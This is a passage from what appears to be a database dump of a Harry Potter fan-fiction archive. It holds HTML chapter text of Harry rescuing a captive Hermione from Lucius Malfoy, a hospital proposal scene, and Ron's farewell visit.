it? We&#8217;ve been expecting you. Come on upstairs.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grasped his wand tighter as he took the stairs to the second floor of the house. As he reached the top, he followed the sound of Malfoy&#8217;s eerie laughter toward the end of the hallway where a door was open and light illuminated brightly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He walked toward the door and hesitated just a moment before walking inside the room. Malfoy was standing in the middle of a circle of more tapered, lit candles. Beside him was a red velvet covered chair. Hermione was no where to be seen. The only other person in the room was a cloaked figure standing beside a door. The room was painted black and the windows were adorned with heavy drapes. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Harry came closer, he got a better look at Lucius Malfoy. Time had not been kind to him at all, Harry couldn&#8217;t help thinking. Malfoy&#8217;s hair was sparse and thinning. His skin was a pasty white and his cheeks were marked with scabby sores and scratches. He was dressed all in black, which only highlighted the pastiness of his skin. He was holding his wand in one hand, pointing it threateningly at Harry. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Before you come any further, Potter,&#8221; Malfoy said, &#8220;kindly drop your wand.&#8221; <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry reluctantly let go of his wand and gingerly dropped it to the tile floor. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where is she?&#8221; Harry asked, looking around the room again. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lucius continued to pace in front of the chair. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Isn&#8217;t that sweet,&#8221; Malfoy said. &#8220;For what it&#8217;s worth, Potter, she&#8217;s missed you too. It&#8217;s really been quite heart-wrenching to watch.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let her go, Malfoy,&#8221; Harry said forcefully. &#8220;You don&#8217;t need her. It&#8217;s me you want. Let her go and take me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy snickered. &#8220;Tsk. Tsk. Tsk. Such a sacrifice to make for a mudblood like her. Yes, I know, she&#8217;s a very intelligent mudblood, but a mudblood nonetheless. You know you can dress them up and teach them well, but you can&#8217;t hide the fact that they&#8217;re just filthy, dirty, little mudbloods. Pitiful, really.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry could feel the anger rising in him. He tried to keep control of his emotions. He had to stay focused. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Very well, then,&#8221; Malfoy said, smiling. &#8220;If you want to see her, you shall see her.&#8221; He nodded to the cloaked figure standing guard by the door. The man opened the door and pulled Hermione through. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry felt his heart lurch at the sight of her. She looked scared. She didn&#8217;t look as if she&#8217;d been hurt physically, but she looked exhausted and drained emotionally. Her cheeks were flushed and she looked as if she&#8217;d been crying. She wore a simple black dress and no makeup. Her hair was pulled back into a sloppy plait. When she walked through the door, her eyes fell on Malfoy. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You?&#8221; she asked, amazed. &#8220;It was you all this time?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Guilty as charged, Miss Granger,&#8221; Malfoy said, smiling broadly at her. &#8220;I hope the accommodations have been to your liking. You won&#8217;t be staying here too much longer. You do have a guest, though. He&#8217;s very anxious to see you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes scanned the room until they fell on Harry. Her eyes brightened and she smiled at the sight of him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry!&#8221; she said hoarsely. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221; Harry called to her. &#8220;Are you okay?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She nodded, frightened. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy snickered again. &#8220;Touching. Touching, but we are running behind schedule. The plan, my dear lad and lass, is that I am going to kill the mudblood and watch as Potter sees her die. Then, I&#8217;m going to take care of him. I like to consider it killing two birds with one stone, so to speak. Nice ring to it, don&#8217;t you think?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;LET HER GO!&#8221; Harry yelled to Malfoy. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I don&#8217;t think so,&#8221; Malfoy said. &#8220;I&#8217;ve been planning this for weeks. I hope you don&#8217;t think just because that sniveling Finch-Fletchley suddenly grew a conscience that you&#8217;re going to defeat me. I should have known better then to take him on as an apprentice. He&#8217;ll soon see what becomes of traitors. He&#8217;s not my concern right now, though. You are.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy continued, clearly enjoying his power over the two of them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now, the way I see it, I have three options for Miss Granger. You could help me choose, Potter. The first option, of course, would be the Cruciatus Curse. I&#8217;ve always been quite fond of that one. You could always ask Longbottom&#8217;s parents about that one,&#8221; he paused for effect. &#8220;And then the second option would be the Imperius Curse. Another favorite of mine. And then of course, The Killing Curse. We could do any of those, really. How about a combination of the three?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry angrily stepped forward. &#8220;WHAT ARE YOU PLAYING AT, MALFOY? WHAT IS KILLING HERMIONE OR ME FOR THAT MATTER GOING TO ACCOMPLISH?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;REVENGE!&#8221; Malfoy retorted. &#8220;REVENGE! Do you have any idea what it&#8217;s like to have everything taken from you? My power. My prestige. My family. My life. All lost due to you and your meddling parents. You are the cause of all of my problems.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Killing us isn&#8217;t going to bring any of that back,&#8221; Harry reasoned. &#8220;Your wife will still be gone. Your son will still hate you and everything you stand for.&#8221; He put his hand to his side and felt the spare wand just inside his cloak. If he could just get closer to Hermione and get her away from Malfoy, he&#8217;d be able to do something. She was too close to Malfoy though to take the risk. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have no idea what it will do for me,&#8221; Malfoy said. He still pointed his wand squarely at Harry. Come a little closer, Potter. You want to be able to see.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry took a couple of steps closer. From behind Malfoy, Hermione was watching intently the cloaked guard who stood only a few feet away. He was holding a wand. Hermione looked back and forth from the verbal battle going on between Harry and Malfoy and at the cloaked guard. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>Accio wand!&#8221; </i>she whispered. Within seconds, the guard&#8217;s wand flew into her hands.<i>\n\n<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Petrificus Totalus!&#8221; </i>she cried pointing the wand at the guard who fell stone still to the floor. </p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>Malfoy turned just in time to see the guard fall. The distraction provided Harry enough time to draw his spare wand from his cloak and point it at Malfoy. </p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;EXPELLARMUS!&#8221; </i>Harry shouted, pointing the wand directly at Malfoy and watched as the wand flew out of Malfoy&#8217;s hands. Malfoy let out a groan and made a movement toward Hermione. Harry ran at them and pointed the wand at Malfoy again<i>, &#8220;AVADA KEDAVRA!&#8221; </i>just as Malfoy shoved Hermione to the ground. He grasped his chest and fell to the ground. Harry watched breathlessly as Malfoy took his last breath and fell on top of Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Within seconds, Harry had pulled the now dead Malfoy off of Hermione, who lay there unconscious. He tugged at the charmed pin on his cloak to signal for the others to come in. He cradled Hermione in his arms and lifted her arm; he could still feel a pulse. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on, baby,&#8221; Potter said. &#8220;Don&#8217;t you go anywhere on me now. Come on, hang on.&#8221; He stroked her hair. &#8220;I missed you so much. Come on, now. Wake up for me and let me see that smile of yours and those pretty eyes. Come on. WAKE UP!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She lay motionless in Harry&#8217;s lap. Harry could hear the approaching footsteps of the others. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;IN HERE!&#8221; he shouted to them. &#8220;QUICK!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>*********** </p>\n\n<p>ST. MUNGO&#8217;S HOSPITAL </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The waiting room was full. In addition to Harry, the entire Weasley family along with Draco, Sirius, Lupin and Hermione&#8217;s parents were seated throughout the room. Hermione had yet to regain consciousness. She&#8217;d been under mediwizard care for over three hours now and they&#8217;d yet to receive word. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had been stony silent since they arrived. He&#8217;d turned down anything they&#8217;d offered him. He&#8217;d even refused to be checked out himself. The others knew him well enough to leave him alone. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s parents were beside themselves. Mrs. Granger had started to cry even harder than she&#8217;d been when she was told her daughter was with child. Molly had been sitting with her, trying to offer some words of comfort. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;ll be okay,&#8221; Sirius said, taking a seat beside Harry. &#8220;She&#8217;s a fighter. Tough as nails, she is.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, she is,&#8221; Harry whispered. &#8220;She is.&#8221; </p>\n\n<p>A few moments later the mediwizard on duty came out to discuss Hermione&#8217;s condition with her family and friends. He looked serious and somber as he stood before them. </p>\n\n<p>Hermione&#8217;s dad spoke up first. &#8220;How is she?&#8221; </p>\n\n<p>&#8220;It was a little touch and go,&#8221; he said. &#8220;She&#8217;s exhausted. A little dehydrated. Some bumps and bruises, but she&#8217;ll be okay.&#8221; </p>\n\n<p>The room gave a collective sigh of relief. </p>\n\n<p>&#8220;Thank you so much,&#8221; Mrs. Granger said. </p>\n\n<p>&#8220;And the baby?&#8221; Harry asked. &#8220;How&#8217;s the baby?&#8221; </p>\n\n<p>&#8220;Fine,&#8221; the mediwizard said. &#8220;Mother-to-be is fine. Baby is fine. She&#8217;s asking to see you, Mr. Potter.&#8221; </p>\n\n<p>Harry smiled. &#8220;Can I see her now?&#8221; </p>\n\n<p>The mediwizard nodded. &#8220;For a few moments just. She needs her rest.&#8221; </p>\n\n<p>&#8220;Alright, then,&#8221; Harry said. &#8220;Thank you.&#8221; </p>\n\n<p>She was resting in her hospital bed when Harry walked through the doors. She looked up to see him and smiled slightly. </p>\n\n<p>&#8220;It hurts to smile,&#8221; she said. &#8220;But I can&#8217;t help it when you walk into a room.&#8221; </p>\n\n<p>&#8220;I wish I had flowers or something,&#8221; Harry said. &#8220;Next time, I promise.&#8221; </p>\n\n<p>&#8220;I&#8217;ll hold you to that,&#8221; she whispered. Harry took a seat beside her bed and took her hand. </p>\n\n<p>&#8220;Everyone&#8217;s really glad that you&#8217;re okay,&#8221; he said. </p>\n\n<p>&#8220;Me, too,&#8221; she said. &#8220;Thank you.&#8221; </p>\n\n<p>&#8220;Why are you thanking me? You had just as much to do with your rescue as I did.&#8221; </p>\n\n<p>&#8220;Well, we&#8217;ll call it even,&#8221; she whispered. &#8220;You sure you don&#8217;t mind sharing that &#8220;saving-people&#8217; thing with me?&#8221; </p>\n\n<p>Harry shook his head, &#8220;No, not at all.&#8221; </p>\n\n<p>&#8220;I have something to tell you,&#8221; she said softly. &#8220;I, um, I&#8217;m pregnant. We&#8217;re going to have a baby.&#8221; </p>\n\n<p>&#8220;I know,&#8221; he said, softly. &#8220;Justin told me.&#8221; </p>\n\n<p>&#8220;Justin?&#8221; she asked, confused. &#8220;Finch-Fletchley? How would he know?&#8221; </p>\n\n<p>&#8220;It&#8217;s a long story,&#8221; he said. &#8220;I&#8217;ll tell you all about it at another time. Right now, we have to concentrate on getting you out of here and getting ready for that baby.&#8221; </p>\n\n<p>&#8220;That sounds like a great plan to me,&#8221; she said, taking his hand. &#8220;I never doubted you for a second, you know that? I knew you&#8217;d come back for me. And I&#8217;m not just talking about finding me at Malfoy&#8217;s. I&#8217;m talking about here. I knew you&#8217;d come back. I knew it in my heart.&#8221; </p>\n\n<p>&#8220;I did, too,&#8221; Harry whispered. He could feel tears of joy welling up in his eyes. &#8220;You are so beautiful, did you know that?&#8221; </p>\n\n<p>She gave a soft laugh. &#8220;Sure I do.&#8221; </p>\n\n<p>&#8220;You do,&#8221; he said. &#8220;I&#8217;ve never seen you look more beautiful than you do right now. I love you so much, Hermione Granger.&#8221; </p>\n\n<p>She began to cry. </p>\n\n<p>&#8220;And I know this isn&#8217;t exactly the ideal situation or circumstance for this and I don&#8217;t have the right equipment to do this right, but now&#8217;s as good a time as any,&#8221; he said, smiling at her. He wiped a tear from her cheek and got up from his chair and knelt down on one knee beside her bed. </p>\n\n<p>Hermione beamed at him as he took her hand. &#8220;Hermione Elizabeth Granger will you do me the honor of being my wife?&#8221; </p>\n\n<p>&#8220;Oh, Harry,&#8221; she choked out between sobs. </p>\n\n<p>&#8220;Is that a yes?&#8221; he asked, stroking her trembling hand. </p>\n\n<p>&#8220;You&#8217;re damn right that&#8217;s a yes,&#8221; she said, pulling him closer. They kissed softly. </p>\n\n<p>&#8220;Well, you&#8217;re stuck with us, Harry,&#8221; she said, patting her stomach. &#8220;You, me and baby makes three. You think you can handle us?&#8221; </p>\n\n<p>&#8220;There&#8217;s no place I&#8217;d rather be,&#8221; he said, kissing her one more time. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p><br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p> ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(255, 26, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="Chapter%2026_files/filelist.xml">\n\n<title>Chapter 26</title>\n\n<xml> Normal 2 337 2003-07-14T02:19:00Z 2003-07-14T02:19:00Z 1 5129 29240 243 68 34301 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>AUTHORS NOTE: <br>\n There is a poem used in this story that first was used in a soap opera, <i>Days of Our Lives</i>, when one of my favorite couples on that show (JACK AND JENNIFER) got married for the first time. I always loved the poem and thought it would fit in superbly here. It was written by one of the show&#8217;s writers, Maura Penders. Also, the inspiration for my story, the song &#8220;All Along&#8221; is again used here. You guys should really listen to it if you get a chance. It is by Blessid Union of Souls. </p>\n\n<p>Chapter 26</p>\n\n<p>Tying Up Loose Ends, Tying the Knot</p>\n\n<p>Ron </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It had been two days since she&#8217;d been rescued. Ron had wanted to go and visit her, but he hadn&#8217;t really felt it was the right time. He&#8217;d always asked about her whenever his mother or Ginny came back from visiting her, but he hadn&#8217;t really worked up the courage to go and see her. He knew he was being stupid, but something kept holding him back. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Today, though, was going to be different. He was going to visit her today. He needed to see for himself that she was okay and that she was happy. So, he awoke early that morning and dressed quickly. He wanted to get to St. Mungo&#8217;s right when visiting hours started. She would probably be asleep and he could just stick his head in her room and maybe leave her a note or something like that. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After checking in at the front desk at St. Mungo&#8217;s, he took the quick walk to Hermione&#8217;s room. He had expected to find her asleep, but to his surprise when he walked into her room, she was wide awake, sitting up in her bed eating her breakfast. She dropped her piece of toast when she saw Ron. She smiled shyly at him. He stood nervously in the doorway, fidgeting. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Would you like to come in, Ron? Please have a seat,&#8221; she said, softly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, yeah,&#8221; Ron said. &#8220;That&#8217;d be nice.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He tentatively took a few steps before finally taking a seat in the chair beside her bed. There was an uncomfortable silence between them for what seemed like hours, but only lasted a few moments. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The silence was broken, however, when Ron said, &#8220;So how are you?&#8221; and Hermione said, at the exact same time, &#8220;I wanted to thank you-&#8220;. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They both laughed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You go first,&#8221; she said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So how are you feeling?&#8221; he asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked thoughtful. &#8220;Okay,&#8221; she said. &#8220;I want nothing more to be at home in my own bed, but they wanted to keep me here for a few days to keep an eye on me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron nodded. &#8220;So where&#8217;s Harry?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked thoughtful before answering. &#8220;He, um, well, I finally talked him into going home and getting some rest and getting a shower.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Starting to smell, was he?&#8221; Ron asked cheekily. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A bit,&#8221; Hermione said. &#8220;Reminded me of how he&#8217;d be when he&#8217;d come back to the Common Room after Quidditch practice.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron began to laugh. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wouldn&#8217;t laugh so much at that if I were you. I happen to know of another person in this room who had the habit of getting all grotty on occasion,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know you really shouldn&#8217;t talk about yourself like that,&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ha! Ha!&#8221; Hermione said. &#8220;You should give up Quidditch and become a standup comic.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, well,&#8221; Ron said, his voice trailing off. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pushed her tray of food away and looked intently at Ron. &#8220;This is so surreal, isn&#8217;t it?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re telling me! A few months ago, we were planning our wedding and yesterday&#8217;s <i>Daily Prophet</i> had a big cover story about you and Harry&#8217;s engagement.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked down. &#8220;I&#8217;m really sorry about that Ron. None of this has been fair to you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shook his head. &#8220;Yeah, well. We&#8217;ll get past it. I&#8217;ll get past it. I&#8217;m trying to get past it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded. &#8220;I hope you know that I did love you. I do love you. You were there for me at a time when I thought my world was falling apart. You made me smile again when I thought I never would again. I don&#8217;t want to get all maudlin on you or anything, but I want you to know that I can&#8217;t imagine my life without you being a part of it. I know that things can never be like they once were, but I hope someday that we can all be friends again.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I want that, too,&#8221; Ron said. &#8220;We&#8217;ve all been through so much together. I just think it&#8217;s too soon. This is going to take some time for me. For all of us to get past this, you know.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I want you to be happy, Hermione. I want all of to be happy. I mean that&#8217;s part of what being a friend is, right? Even those of us with the emotional depth of a teaspoon would know that, right?&#8221; Ron said, breaking into a smile. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione got the joke and smiled. &#8220;Take care of yourself, Ron.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You do the same,&#8221; Ron said, getting up from the chair. He leaned over her and kissed her on the cheek. &#8220;Take care of the little one, too. Goodbye, &#8216;Mione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione clasped Ron&#8217;s hand in hers. &#8220;Goodbye, Ron.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron didn&#8217;t know how to feel as he left Hermione&#8217;s hospital room. He looked down at his watch, it was just past 10 in the morning. He was scheduled to return to active duty with his team and was scheduled to report at <st1:time minute="30" hour="10">10:30</st1:time> at the pitch. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He didn&#8217;t have time to dwell on their conversation, he needed to get to the field quickly. He&#8217;d already taken off way too much time. He was lucky they had saved a place for him on the team. Quidditch and his family were pretty much all he had left in his life at the moment. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He quickened his pace down the hallway and before he knew it, he had felt like he&#8217;d been punched in the stomach. The effect of the figure barreling into him at full speed had left both he and she sprawled on the floor. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You should watch where you&#8217;re going, you know? This is a hospital, not a racetrack!&#8221; Ron said, getting up from the floor. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry,&#8221; the woman said, she pushed her hair out of her face. Ron felt heartbeat get faster. She was beautiful. She was about his age, with shoulder length blonde hair. She had a slim, athletic build and she was smiling broadly at him. &#8220;I can&#8217;t believe it!&#8221;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Ron asked crossly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have absolutely no idea who I am, do you?&#8221; she asked amused. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Ron said 